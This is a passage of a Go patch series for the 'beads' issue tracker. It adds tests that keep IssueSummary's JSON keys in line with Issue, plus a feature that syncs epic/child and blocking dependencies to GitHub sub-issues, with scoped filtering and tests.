for the same bead. Comparing against Issue's own tags +// rather than a hand-copied literal means the two cannot drift when a tag on +// Issue changes. +func TestIssueSummaryJSONTagsMatchIssue(t *testing.T) { + issueTags := make(map[string]string) + issueType := reflect.TypeOf(Issue{}) + for i := 0; i < issueType.NumField(); i++ { + f := issueType.Field(i) + issueTags[f.Name] = f.Tag.Get("json") + } + + summaryType := reflect.TypeOf(IssueSummary{}) + for i := 0; i < summaryType.NumField(); i++ { + f := summaryType.Field(i) + want, ok := issueTags[f.Name] + if !ok { + t.Errorf("IssueSummary.%s has no same-named field on Issue; choose its json tag deliberately and update this test", f.Name) + continue + } + if got := f.Tag.Get("json"); got != want { + t.Errorf("IssueSummary.%s json tag = %q, want %q (must match Issue.%s)", f.Name, got, want, f.Name) + } + } +} + +// TestIssueSummaryMarshalsIssueWireKeys is the concrete counterpart to the +// reflection test above: it marshals a fully-populated DURABLE summary and +// asserts the exact key set. An untagged struct would emit Go's default +// capitalized field names ("ID", "Title", …) and silently break every consumer +// parsing bd output, which is the regression this pins. +// +// The exact-count assertion carries a second claim now that IssueSummary also +// holds the wisp-plane markers: a durable bead must not sprout ephemeral, +// no_history, wisp_type or storage_class keys. The wisp direction is pinned by +// TestIssueSummaryWispKeysMatchIssue below. +func TestIssueSummaryMarshalsIssueWireKeys(t *testing.T) { + closedAt := time.Date(2026, 3, 4, 5, 6, 7, 0, time.UTC) + summary := IssueSummary{ + ID: "bd-1", + Title: "narrow projection", + Status: StatusClosed, + Priority: 1, + IssueType: TypeTask, + Assignee: "someone", + Pinned: true, + Labels: []string{"alpha"}, + CreatedAt: time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC), + UpdatedAt: time.Date(2026, 2, 3, 4, 5, 6, 0, time.UTC), + ClosedAt: &closedAt, + } + + encoded, err := json.Marshal(summary) + if err != nil { + t.Fatalf("marshal IssueSummary: %v", err) + } + + var decoded map[string]json.RawMessage + if err := json.Unmarshal(encoded, &decoded); err != nil { + t.Fatalf("unmarshal IssueSummary: %v", err) + } + + want := []string{ + "id", "title", "status", "priority", "issue_type", + "assignee", "pinned", "labels", "created_at", "updated_at", "closed_at", + } + for _, key := range want { + if _, ok := decoded[key]; !ok { + t.Errorf("marshaled IssueSummary missing key %q; got %s", key, encoded) + } + } + if len(decoded) != len(want) { + t.Errorf("marshaled IssueSummary has %d keys, want %d; got %s", len(decoded), len(want), encoded) + } +} + +// TestIssueSummaryOmitsEmptyLikeIssue pins the omitempty half of the contract: +// Priority carries no omitempty because 0 is a valid priority (P0/critical), +// while the optional fields drop out of the document entirely when unset. A +// summary that emitted "priority" only for non-zero values would make P0 beads +// indistinguishable from unset ones in `bd list --json`. +func TestIssueSummaryOmitsEmptyLikeIssue(t *testing.T) { + encoded, err := json.Marshal(IssueSummary{ID: "bd-1", Title: "t"}) + if err != nil { + t.Fatalf("marshal zero-value IssueSummary: %v", err) + } + + var decoded map[string]json.RawMessage + if err := json.Unmarshal(encoded, &decoded); err != nil { + t.Fatalf("unmarshal IssueSummary: %v", err) + } + + for _, key := range []string{"id", "title", "priority", "created_at", "updated_at"} { + if _, ok := decoded[key]; !ok { + t.Errorf("zero-value IssueSummary should still emit %q; got %s", key, encoded) + } + } + for _, key := range []string{"status", "issue_type", "assignee", "pinned", "labels", "closed_at"} { + if _, ok := decoded[key]; ok { + t.Errorf("zero-value IssueSummary should omit %q; got %s", key, encoded) + } + } +} + +// wispMarkerFields are the Issue fields that identify a row as living on the +// wisp plane. issueops.searchInTx merges wisp rows into every SearchIssueSummaries +// result that does not set SkipWisps, so these travel the summary path too. +var wispMarkerFields = []string{"Ephemeral", "NoHistory", "WispType", "StorageClass"} + +// TestIssueSummaryCarriesWispMarkers pins the wisp half of the wire-shape +// contract the doc comment on IssueSummary states. +// +// The durable-row half is already covered: TestIssueSummaryJSONTagsMatchIssue +// checks that every field IssueSummary *has* serializes like Issue's. That +// leaves the fields it does *not* have unchecked, and one group of those is +// not optional — issueops.searchInTx merges the wisps table into every +// non-SkipWisps result, so a summary-backed `bd list --json` renders wisp rows +// alongside durable ones. A marker Issue carries and IssueSummary drops +// disappears from that document with no other signal, which is exactly the +// "every consumer parsing bd output breaks silently" failure the doc comment +// promises against. +// +// Type equality is asserted as well as the tag: WispType and StorageClass are +// named string types whose zero values marshal identically to a plain string, +// so a field declared as string here would satisfy a tag-only check while +// still dropping the type's own validation surface. +func TestIssueSummaryCarriesWispMarkers(t *testing.T) { + issueType := reflect.TypeOf(Issue{}) + summaryType := reflect.TypeOf(IssueSummary{}) + + for _, name := range wispMarkerFields { + issueField, ok := issueType.FieldByName(name) + if !ok { + t.Fatalf("Issue has no %s field; update wispMarkerFields to match the wisp plane's markers", name) + } + + summaryField, ok := summaryType.FieldByName(name) + if !ok { + t.Errorf("IssueSummary has no %s field: searchInTx merges wisp rows into every non-SkipWisps "+ + "SearchIssueSummaries result, so a summary-backed `bd list --json` would drop %q for those rows", + name, issueField.Tag.Get("json")) + continue + } + if got, want := summaryField.Tag.Get("json"), issueField.Tag.Get("json"); got != want { + t.Errorf("IssueSummary.%s json tag = %q, want %q (must match Issue.%s)", name, got, want, name) + } + if got, want := summaryField.Type, issueField.Type; got != want { + t.Errorf("IssueSummary.%s type = %v, want %v (must match Issue.%s)", name, got, want, name) + } + } +} + +// TestIssueSummaryWispKeysMatchIssue is the concrete counterpart to +// TestIssueSummaryCarriesWispMarkers: the reflection test proves the fields +// exist with matching tags, this one proves a wisp row actually serializes the +// same through both types. It marshals the same marker values as an Issue and +// as an IssueSummary and compares the four keys byte for byte, so a divergence +// in omitempty behavior, key name, or the named types' own marshaling shows up +// as a value mismatch rather than passing on field presence alone. +// +// The durable case is included deliberately: parity means a durable bead emits +// no marker keys through either type, not merely that a wisp emits some. +func TestIssueSummaryWispKeysMatchIssue(t *testing.T) { + // Ephemeral and NoHistory are mutually exclusive on the wisp plane + // (Issue.Validate rejects both set), so they get one row each rather than + // one row setting both. + cases := []struct { + name string + ephemeral bool + noHistory bool + wispType WispType + storageClass StorageClass + }{ + { + name: "ephemeral heartbeat wisp", + ephemeral: true, + wispType: WispTypeHeartbeat, + storageClass: StorageClassEphemeral, + }, + { + name: "no-history escalation wisp", + noHistory: true, + wispType: WispTypeEscalation, + storageClass: StorageClassEphemeral, + }, + { + name: "durable bead emits no marker keys", + }, + } + + markerKeys := []string{"ephemeral", "no_history", "wisp_type", "storage_class"} + + for _, tc := range cases { + tc := tc + t.Run(tc.name, func(t *testing.T) { + issue := Issue{ + ID: "bd-1", + Title: "narrow projection", + Status: StatusOpen, + Priority: 2, + IssueType: TypeTask, + Ephemeral: tc.ephemeral, + NoHistory: tc.noHistory, + WispType: tc.wispType, + StorageClass: tc.storageClass, + } + summary := IssueSummary{ + ID: issue.ID, + Title: issue.Title, + Status: issue.Status, + Priority: issue.Priority, + IssueType: issue.IssueType, + Ephemeral: tc.ephemeral, + NoHistory: tc.noHistory, + WispType: tc.wispType, + StorageClass: tc.storageClass, + } + + fromIssue := marshalToKeys(t, issue) + fromSummary := marshalToKeys(t, summary) + + for _, key := range markerKeys { + want, inIssue := fromIssue[key] + got, inSummary := fromSummary[key] + if inIssue != inSummary { + t.Errorf("key %q present in Issue=%v, in IssueSummary=%v; a summary-backed "+ + "`bd list --json` must emit the same marker keys a full-Issue-backed one does", + key, inIssue, inSummary) + continue + } + if inIssue && string(got) != string(want) { + t.Errorf("key %q = %s through IssueSummary, want %s (Issue's value)", key, got, want) + } + } + }) + } +} + +// marshalToKeys marshals v and returns its top-level keys, so two documents +// can be compared key by key without depending on field order. +func marshalToKeys(t *testing.T, v any) map[string]json.RawMessage { + t.Helper() + encoded, err := json.Marshal(v) + if err != nil { + t.Fatalf("marshal %T: %v", v, err) + } + var decoded map[string]json.RawMessage + if err := json.Unmarshal(encoded, &decoded); err != nil { + t.Fatalf("unmarshal %T: %v", v, err) + } + return decoded +} diff --git a/internal/types/types.go b/internal/types/types.go index 9d01e47f9..eda2340c8 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -192,6 +192,51 @@ type Issue struct { IsLitePartial bool `json:"-"` } +// IssueSummary is a read-only narrow projection of Issue for list-shaped +// rendering paths that don't dereference TEXT/JSON columns. Populated by +// storage.SearchIssueSummaries, which SELECTs only the columns listed here. +// Shape ratified by be-nu4.3.1 addendum: Pinned IS included, Metadata is NOT +// — adding Metadata would re-introduce the JSON parse cost D3 exists to +// eliminate. +// +// IssueSummary is read-only. No write methods accept it. +// +// The JSON tags mirror the same-named fields on Issue exactly (name, casing, +// and omitempty), because this type backs list-shaped rendering and `bd list +// --json` is one of that command's primary modes: a summary-backed list must +// serialize to the same wire shape a full-Issue-backed one does, or every +// consumer parsing bd output breaks silently. Keep them in sync with Issue. +// +// That promise covers wisp rows, not only durable ones: issueops.searchInTx +// merges the wisps table into every result whose filter does not set +// SkipWisps, so the four wisp-plane markers below are part of the projection +// rather than an optional extra. They are narrow scalar columns (two +// TINYINT(1), two short VARCHARs), so carrying them costs none of the +// TEXT/JSON hydration D3 exists to eliminate. +type IssueSummary struct { + ID string `json:"id"` + Title string `json:"title"` + Status Status `json:"status,omitempty"` + Priority int `json:"priority"` // No omitempty: 0 is valid (P0/critical) + IssueType IssueType `json:"issue_type,omitempty"` + Assignee string `json:"assignee,omitempty"` + Pinned bool `json:"pinned,omitempty"` + Labels []string `json:"labels,omitempty"` + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` + ClosedAt *time.Time `json:"closed_at,omitempty"` + + // ===== Wisp-plane markers ===== + // A summary-backed list renders wisps as well as durable beads (see the + // doc comment above), and these four are what distinguish one. Dropping + // them would make a wisp indistinguishable from a durable bead in + // `bd list --json` while every other key stayed identical. + Ephemeral bool `json:"ephemeral,omitempty"` + NoHistory bool `json:"no_history,omitempty"` + WispType WispType `json:"wisp_type,omitempty"` + StorageClass StorageClass `json:"storage_class,omitempty"` +} + // ComputeContentHash creates a deterministic hash of the issue's content. // Uses all substantive fields (excluding ID, timestamps, and compaction metadata) // to ensure that identical content produces identical hashes across all clones. @@ -2120,7 +2165,12 @@ type IssueFilter struct { SkipWisps bool // Q2: skip wisps table merge entirely (for callers that never return ephemeral results) NoIDShrink bool // Q3: force Pattern A (full 47-col scan) even when Limit > 0 - Offset int + Offset int + // SortBy and SortDesc are honored by SearchIssues, SearchIssueIDs, and + // SearchIssueSummaries alike. All three sort implementations (SQL ORDER BY + // and the Go-side merge comparators) must order identically for a given + // SortBy value, or a post-merge limit cut can keep a different row set + // than SQL selected. SortBy string SortDesc bool From bcf4da3c651a2a35f7e98cc64ef8669e386b96a0 Mon Sep 17 00:00:00 2001 From: Sam Date: Thu, 1 Oct 2026 18:22:00 +1000 Subject: [PATCH 014/325] feat(github): sync epic/child and blocks relationships to GitHub (#5971) * feat(github): sync epic/child and blocks relationships to GitHub bd github sync only ever pushed issue content (title/body/labels/state); Epic-child links and beads "blocks" dependencies never reached GitHub's relationships panel. Adds a GitHub relationship-sync pass, mirroring the existing GitLab dependency-link push, using GitHub's sub-issues and issue dependencies REST APIs: - internal/github/client.go: AddSubIssue/ListSubIssues and AddBlockedBy/ListBlockedBy against GitHub's sub_issues and dependencies/blocked_by endpoints. - internal/github/links.go: DependencyLink + LinkResolver, converting beads epic/child parent-child dependencies into GitHub sub-issues and beads "blocks" dependencies into GitHub blocked_by relationships. Idempotent (lists current relationships before creating) and additive (stale remote relationships are left untouched). - cmd/bd/github.go, cmd/bd/sync_push_pull.go: wires the push pass into both `bd github sync` and `bd github push`. Verified against a live GitHub repo (create, list, and idempotent re-push all confirmed via the real API), in addition to httptest-mocked unit tests. Fixes gastownhall/beads#5970 * fix(github): update last_sync after relationship push to prevent sync churn When AddSubIssue or AddBlockedBy is called, GitHub updates the issue's updated_at timestamp as a side effect. Without updating last_sync after the relationship push completes, the next sync would see those issues as 'changed' and pull/push them again, causing unnecessary churn. This fix updates last_sync to the current time after a successful relationship push (only if links were created), accounting for any timestamp changes GitHub made during relationship creation. Fixes continuous sync churn observed when running bd github sync multiple times with no local changes. * fix(github): use relationship reader for link sync * fix(bazel): enumerate links.go and its tests in internal/github BUILD.bazel The base advance added internal/github/BUILD.bazel with explicitly enumerated srcs (gazelle-generated). This PR adds links.go, links_test.go and review_fixes_test.go, which the base-generated enumeration cannot know about, so //internal/github:github failed to build: internal/github/tracker.go:41:35: undefined: LinkResolver internal/github/tracker.go:244:30: undefined: RefScope Regenerated with `bazel run //:gazelle` (not hand-edited). Purely additive; no deps change is needed because links.go only imports //internal/types, already declared. Co-Authored-By: Claude Opus 5 * fix(github): scope the relationship pass to --parent and report skipped links Maintainer review fixup for PR #5971, adopt-pr review iterations 1 and 3. filterGitHubLinkScopedIssues reimplemented four of the SyncOptions selectors and dropped ParentID, so `bd github sync --push --parent X` narrowed the content push to the subtree and then created GitHub sub-issue and blocked-by links for every GitHub-linked issue in the workspace -- outward API writes on issues the user had excluded. It now resolves the subtree and requires membership in it. The traversal moves from gitlab.go to sync_flags.go as buildSyncDescendantSet, beside the --parent flag that populates the field, and the GitLab and GitHub link passes share the one copy. The doc comments that claimed parity with the engine's push loop now enumerate the selectors this path actually applies, and name the three it does not (State, ExcludeIDPrefix, ExcludeIDPatterns -- no GitHub command sets them today). PushLinkResult.UnsupportedSkipped had no reader anywhere in the repo, so a host without the sub-issue/dependency APIs reported nothing at all. pushGitHubDependencyLinks now emits one curated line for it, and a 404 on the source issue is classified apart from a 404 on the relationship endpoint: collapsing the two reported a deleted, renumbered or permission-hidden issue as an unsupported host. The classifying probe is memoized per issue number, so a source carrying both link types costs one extra read. `bd github push --dry-run` printed "Synced N relationship links" for links it had only planned, because PushLinks counts planned links in Created. The `bd github sync` twin already gated that line on its dry-run flag; the push side now does too. Tests: a table test over filterGitHubLinkScopedIssues with a row per selector -- its three ParentID rows fail without the scope fix -- plus a direct pin that a blocks-edge dependent is not a descendant, and httptest cases driving 404 through the list call, the create call and the source-issue probe. Not fixed here: the PR body still describes a `lastSync` advance that commit ee6d65692 removed from this PR. That is a PR-surface edit, not a code change, and is left to the finalize step. Also not fixed here, and named in buildSyncDescendantSet's doc comment so the shared helper does not read as covering every tracker: the ADO link pass has the same scope hole this commit closes for GitHub. pushADOLinks takes no sync options, so `bd ado sync --push --parent X` still writes ADO relations for the whole workspace. That predates this PR, and ADO is outside its diff. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Adopt-PR --- cmd/bd/BUILD.bazel | 1 + cmd/bd/github.go | 244 +++++++++++++++ cmd/bd/github_link_scope_test.go | 155 +++++++++ cmd/bd/gitlab.go | 22 +- cmd/bd/sync_flags.go | 35 +++ cmd/bd/sync_push_pull.go | 18 +- internal/github/BUILD.bazel | 3 + internal/github/client.go | 88 +++++- internal/github/errors.go | 22 ++ internal/github/links.go | 448 +++++++++++++++++++++++++++ internal/github/links_test.go | 298 ++++++++++++++++++ internal/github/review_fixes_test.go | 59 ++++ internal/github/tracker.go | 21 ++ 13 files changed, 1390 insertions(+), 24 deletions(-) create mode 100644 cmd/bd/github_link_scope_test.go create mode 100644 internal/github/links.go create mode 100644 internal/github/links_test.go create mode 100644 internal/github/review_fixes_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 29a89b369..1d4eb2992 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -755,6 +755,7 @@ go_test( "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", + "github_link_scope_test.go", "gitlab_integration_test.go", "gitlab_test.go", "global_identity_integration_test.go", diff --git a/cmd/bd/github.go b/cmd/bd/github.go index caa0cf9a2..77ee4e8e8 100644 --- a/cmd/bd/github.go +++ b/cmd/bd/github.go @@ -4,7 +4,9 @@ package main import ( "context" "fmt" + "io" "os" + "slices" "strconv" "strings" @@ -12,8 +14,10 @@ import ( "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/github" "github.com/steveyegge/beads/internal/metrics" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/tracker" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // GitHubConfig holds GitHub connection configuration. @@ -456,6 +460,28 @@ func runGitHubSync(cmd *cobra.Command, args []string) error { return HandleError("%v", err) } + // Relationship push pass: converge beads parent/child links and "blocks" + // dependencies into GitHub sub-issues and issue dependencies. Runs after + // the content sync so relationships stay correct even when issue content + // itself was unchanged and the main push loop skipped the issue. + // + // This pass deliberately leaves github.last_sync alone. That cursor is the + // engine's record of when local rows were last reconciled, and + // DetectConflicts treats every issue updated after it as a local edit; + // advancing it here would hide edits made since the engine set it from the + // next sync's conflict detection. The engine owns the cursor + // (internal/tracker/engine.go), and this pass writes no local rows. + var linksPushed int + if push { + var linkWarnings []string + warnLink := func(msg string) { + linkWarnings = append(linkWarnings, msg) + _, _ = fmt.Fprintf(os.Stderr, "Warning: %s\n", msg) + } + linksPushed = pushGitHubDependencyLinks(ctx, gt, store, opts, githubSyncDryRun, out, warnLink) + result.Warnings = append(result.Warnings, linkWarnings...) + } + // Output results if !githubSyncDryRun { if result.Stats.Pulled > 0 { @@ -465,6 +491,9 @@ func runGitHubSync(cmd *cobra.Command, args []string) error { if result.Stats.Pushed > 0 { _, _ = fmt.Fprintf(out, "✓ Pushed %d issues\n", result.Stats.Pushed) } + if linksPushed > 0 { + _, _ = fmt.Fprintf(out, "✓ Synced %d relationship links\n", linksPushed) + } if result.Stats.Conflicts > 0 { _, _ = fmt.Fprintf(out, "→ Resolved %d conflicts\n", result.Stats.Conflicts) } @@ -478,6 +507,221 @@ func runGitHubSync(cmd *cobra.Command, args []string) error { return nil } +// githubLinkSyncData holds the desired GitHub relationship links collected +// from beads dependency state for the issues in scope of a sync/push pass. +type githubLinkSyncData struct { + DesiredLinks []github.DependencyLink +} + +// collectGitHubLinkSyncData walks the beads issues in scope of opts and +// derives the GitHub relationship links (sub-issue for epic/child, +// blocked_by for beads "blocks" dependencies) that should exist remotely. +// Only issues already linked to GitHub (an ExternalRef that scope resolves to +// an issue number in the configured repository) can contribute or receive a +// link; refs pointing at another repository or host are skipped, since the +// relationship endpoints take bare issue numbers scoped to one repo. +// +// The workspace read is issueops.Reader's, reached through the store's own +// accessor so it carries whatever layers that store carries; the request it +// takes is githubLinkSyncListRequest below. +func collectGitHubLinkSyncData(ctx context.Context, st storage.Storage, scope github.RefScope, opts tracker.SyncOptions) (githubLinkSyncData, []string) { + if st == nil { + return githubLinkSyncData{}, []string{"GitHub relationship sync skipped: database not available"} + } + + reader, err := st.IssueReader() + if err != nil { + return githubLinkSyncData{}, []string{fmt.Sprintf("GitHub relationship sync skipped: %v", err)} + } + page, err := reader.List(ctx, githubLinkSyncListRequest()) + if err != nil { + return githubLinkSyncData{}, []string{fmt.Sprintf("GitHub relationship sync skipped: %v", err)} + } + allIssues := make([]*types.Issue, 0, len(page.Items)) + for _, item := range page.Items { + if item == nil || item.Issue == nil { + continue + } + allIssues = append(allIssues, item.Issue) + } + + // --parent scopes the content push to a subtree; the relationship pass has + // to honor the same subtree or it writes GitHub links for issues the user + // excluded from the sync. + var descendantSet map[string]bool + if opts.ParentID != "" { + descendantSet, err = buildSyncDescendantSet(ctx, st, opts.ParentID) + if err != nil { + return githubLinkSyncData{}, []string{fmt.Sprintf("GitHub relationship sync skipped: resolving parent %s: %v", opts.ParentID, err)} + } + } + + scopedIssues := filterGitHubLinkScopedIssues(allIssues, opts, descendantSet) + scopedIssueIDs := make(map[string]bool, len(scopedIssues)) + for _, issue := range scopedIssues { + if issue != nil && issue.ID != "" { + scopedIssueIDs[issue.ID] = true + } + } + + var warnings []string + var desired []github.DependencyLink + for _, issue := range scopedIssues { + if issue.ExternalRef == nil { + continue + } + deps, err := st.GetDependenciesWithMetadata(ctx, issue.ID) + if err != nil { + warnings = append(warnings, fmt.Sprintf("GitHub relationship sync skipped dependencies for %s: %v", issue.ID, err)) + continue + } + for _, dep := range deps { + if !scopedIssueIDs[dep.ID] { + continue + } + switch dep.DependencyType { + case types.DepParentChild: + if link, ok := scope.SubIssueLinkFromParentChild(issue, dep); ok { + desired = append(desired, link) + } + case types.DepBlocks: + if link, ok := scope.BlockedByLinkFromBeadsDependency(issue, dep); ok { + desired = append(desired, link) + } + } + } + } + + return githubLinkSyncData{DesiredLinks: desired}, warnings +} + +// githubLinkSyncListRequest is the whole-workspace read the relationship pass +// runs: every bead in both planes, at any status, of any type, unpaged. +// +// SCOPE IS NOT THIS REQUEST'S JOB. filterGitHubLinkScopedIssues narrows to the +// tracker.SyncOptions selectors the GitHub commands can set — that function +// names them and is the place to extend — the way the engine's push loop +// narrows the same unfiltered read with shouldPushIssue +// (internal/tracker/engine.go). Expressing half that selection here in a second +// vocabulary is how the two would drift, so this lifts every default a listing +// applies rather than reproducing the engine's choices: +// +// AllFlag drops the default status exclusions, and with them the +// pinned predicate. A relationship is still true for a closed +// bead, and the engine pushes closed issues too. +// IncludeAllTypes drops the template, gate and infra type exclusions AND the +// plane decision, so the wisps table is read. opts. +// ExcludeEphemeral is what drops that plane, downstream, when +// the caller asked for it. +// Limit zero, not nil: nil takes the shared list default, which +// would silently cap relationship sync at one page. +// +// SkipLabels and SkipCounts choose what is HYDRATED, never which rows match. +// This pass reads ID, ExternalRef, IssueType and Ephemeral and nothing else, +// and the counts are per-row aggregate joins the scan has no use for. +func githubLinkSyncListRequest() issueops.ListRequest { + unlimited := 0 + return issueops.ListRequest{ + AllFlag: true, + IncludeAllTypes: true, + Limit: &unlimited, + SkipLabels: true, + SkipCounts: true, + } +} + +// filterGitHubLinkScopedIssues narrows the unfiltered workspace read to the +// issues opts selects. descendantSet is the resolved --parent subtree, or nil +// when --parent was not given; a non-nil set is a membership requirement. +// +// The selectors applied here are the ones a GitHub command can put on +// SyncOptions today: ParentID (as descendantSet), IssueIDs, ExcludeEphemeral, +// TypeFilter and ExcludeTypes. SyncOptions carries further selectors that the +// engine's push loop honors and no GitHub command currently sets — State, +// ExcludeIDPrefix, ExcludeIDPatterns. Anything that starts setting one of +// those has to extend this function in the same change, or the relationship +// pass will write links for issues the content push skipped. +func filterGitHubLinkScopedIssues(issues []*types.Issue, opts tracker.SyncOptions, descendantSet map[string]bool) []*types.Issue { + var issueIDSet map[string]bool + if len(opts.IssueIDs) > 0 { + issueIDSet = make(map[string]bool, len(opts.IssueIDs)) + for _, id := range opts.IssueIDs { + issueIDSet[id] = true + } + } + + result := make([]*types.Issue, 0, len(issues)) + for _, issue := range issues { + if issue == nil { + continue + } + if issueIDSet != nil && !issueIDSet[issue.ID] { + continue + } + if descendantSet != nil && !descendantSet[issue.ID] { + continue + } + if opts.ExcludeEphemeral && issue.Ephemeral { + continue + } + if len(opts.TypeFilter) > 0 && !slices.Contains(opts.TypeFilter, issue.IssueType) { + continue + } + if slices.Contains(opts.ExcludeTypes, issue.IssueType) { + continue + } + result = append(result, issue) + } + return result +} + +// pushGitHubDependencyLinks runs the relationship push pass: it converts +// beads epic/child links and "blocks" dependencies among the scoped issues +// (per opts) into GitHub sub-issues and issue dependencies. Additive — stale +// remote relationships are left untouched. Shared by `bd github sync` and +// `bd github push` so both reach the same relationship parity. Dry-run plan +// lines are written to out (unless --json); warnings are delivered via warn. +// Returns the number of relationships created. +func pushGitHubDependencyLinks(ctx context.Context, gt *github.Tracker, st storage.Storage, opts tracker.SyncOptions, dryRun bool, out io.Writer, warn func(string)) int { + if gt == nil { + return 0 + } + linkData, collectWarnings := collectGitHubLinkSyncData(ctx, st, gt.RefScope(), opts) + for _, warning := range collectWarnings { + warn(warning) + } + + resolver := gt.LinkResolver() + if resolver == nil || len(linkData.DesiredLinks) == 0 { + return 0 + } + + res := resolver.PushLinks(ctx, linkData.DesiredLinks, github.PushLinkOptions{ + DryRun: dryRun, + OnPlan: func(link github.DependencyLink) { + if !jsonOutput { + _, _ = fmt.Fprintf(out, " [dry-run] Would create GitHub %s relationship: #%d -> #%d\n", + link.LinkType, link.FromNumber, link.ToNumber) + } + }, + }) + for _, err := range res.Errors { + warn(fmt.Sprintf("GitHub relationship sync: %v", err)) + } + // Both counters are a silent no-op otherwise: PushLinks deliberately does + // not raise a 404 per link, so this is the only place the user learns the + // relationships were not written. One line per class, never merged — an + // unavailable endpoint is a host capability the operator cannot fix per + // issue, a missing source issue is a stale local ref they can. + if res.UnsupportedSkipped > 0 { + warn(fmt.Sprintf("GitHub relationship sync: %d link(s) skipped; the sub-issue/dependency API is unavailable on this host", res.UnsupportedSkipped)) + } + if res.SourceMissing > 0 { + warn(fmt.Sprintf("GitHub relationship sync: %d link(s) skipped; the source issue is not readable on GitHub (deleted, renumbered, or not visible to this token)", res.SourceMissing)) + } + return res.Created +} + // buildGitHubPushHooks creates PushHooks for GitHub-specific push behavior. // The ContentEqual hook lets the engine skip issues whose pushable fields // already match GitHub, so repeated `github sync --push-only` / `github push` diff --git a/cmd/bd/github_link_scope_test.go b/cmd/bd/github_link_scope_test.go new file mode 100644 index 000000000..f44c06b73 --- /dev/null +++ b/cmd/bd/github_link_scope_test.go @@ -0,0 +1,155 @@ +package main + +import ( + "context" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/tracker" + "github.com/steveyegge/beads/internal/types" +) + +// descendantFakeStore answers GetDependentsWithMetadata from an in-memory +// parent -> children map. Every other storage.Storage method is promoted from +// the nil embedded interface, so a reach for one panics rather than silently +// widening what this test covers. +type descendantFakeStore struct { + storage.Storage + children map[string][]string + // related are non-parent-child dependents, returned alongside the real + // children so the traversal's edge-type filter is exercised. + related map[string][]string +} + +func (s *descendantFakeStore) GetDependentsWithMetadata(_ context.Context, issueID string) ([]*types.IssueWithDependencyMetadata, error) { + var out []*types.IssueWithDependencyMetadata + for _, childID := range s.children[issueID] { + out = append(out, &types.IssueWithDependencyMetadata{ + Issue: types.Issue{ID: childID}, + DependencyType: types.DepParentChild, + }) + } + for _, otherID := range s.related[issueID] { + out = append(out, &types.IssueWithDependencyMetadata{ + Issue: types.Issue{ID: otherID}, + DependencyType: types.DepBlocks, + }) + } + return out, nil +} + +// TestFilterGitHubLinkScopedIssues pins one row per tracker.SyncOptions +// selector the GitHub commands can set. The --parent row is the one that +// matters most: before the relationship pass honoured opts.ParentID it kept +// every issue in the workspace, so `bd github sync --push --parent X` created +// GitHub links on issues the content push had excluded. +func TestFilterGitHubLinkScopedIssues(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-epic", IssueType: types.TypeEpic}, + {ID: "bd-child", IssueType: types.TypeTask}, + {ID: "bd-grandchild", IssueType: types.TypeBug}, + {ID: "bd-outside", IssueType: types.TypeTask}, + {ID: "bd-wisp", IssueType: types.TypeTask, Ephemeral: true}, + } + store := &descendantFakeStore{ + children: map[string][]string{ + "bd-epic": {"bd-child"}, + "bd-child": {"bd-grandchild"}, + }, + // bd-outside blocks bd-epic: a dependent, but not a descendant. + related: map[string][]string{"bd-epic": {"bd-outside"}}, + } + + tests := []struct { + name string + opts tracker.SyncOptions + want []string + }{ + { + name: "no selectors keeps everything", + opts: tracker.SyncOptions{}, + want: []string{"bd-epic", "bd-child", "bd-grandchild", "bd-outside", "bd-wisp"}, + }, + { + name: "IssueIDs keeps only the listed beads", + opts: tracker.SyncOptions{IssueIDs: []string{"bd-child", "bd-wisp"}}, + want: []string{"bd-child", "bd-wisp"}, + }, + { + name: "ParentID keeps the subtree and drops the rest", + opts: tracker.SyncOptions{ParentID: "bd-epic"}, + want: []string{"bd-epic", "bd-child", "bd-grandchild"}, + }, + { + name: "ParentID on a leaf keeps only that leaf", + opts: tracker.SyncOptions{ParentID: "bd-grandchild"}, + want: []string{"bd-grandchild"}, + }, + { + name: "TypeFilter keeps only the named types", + opts: tracker.SyncOptions{TypeFilter: []types.IssueType{types.TypeEpic, types.TypeBug}}, + want: []string{"bd-epic", "bd-grandchild"}, + }, + { + name: "ExcludeTypes drops the named types", + opts: tracker.SyncOptions{ExcludeTypes: []types.IssueType{types.TypeTask}}, + want: []string{"bd-epic", "bd-grandchild"}, + }, + { + name: "ExcludeEphemeral drops wisps", + opts: tracker.SyncOptions{ExcludeEphemeral: true}, + want: []string{"bd-epic", "bd-child", "bd-grandchild", "bd-outside"}, + }, + { + name: "ParentID composes with the other selectors", + opts: tracker.SyncOptions{ParentID: "bd-epic", ExcludeTypes: []types.IssueType{types.TypeBug}}, + want: []string{"bd-epic", "bd-child"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Resolve the subtree exactly the way collectGitHubLinkSyncData + // does, so the helper is under test too. + var descendantSet map[string]bool + if tt.opts.ParentID != "" { + var err error + descendantSet, err = buildSyncDescendantSet(context.Background(), store, tt.opts.ParentID) + if err != nil { + t.Fatalf("buildSyncDescendantSet(%q) error = %v", tt.opts.ParentID, err) + } + } + + got := filterGitHubLinkScopedIssues(issues, tt.opts, descendantSet) + ids := make([]string, 0, len(got)) + for _, issue := range got { + ids = append(ids, issue.ID) + } + if !slices.Equal(ids, tt.want) { + t.Errorf("filterGitHubLinkScopedIssues() = %v, want %v", ids, tt.want) + } + }) + } +} + +// TestBuildSyncDescendantSetIgnoresNonParentChildEdges pins the traversal's +// edge-type filter directly: a blocks dependent is not a descendant, so +// --parent must not drag it into scope. +func TestBuildSyncDescendantSetIgnoresNonParentChildEdges(t *testing.T) { + store := &descendantFakeStore{ + children: map[string][]string{"bd-epic": {"bd-child"}}, + related: map[string][]string{"bd-epic": {"bd-blocker"}}, + } + + got, err := 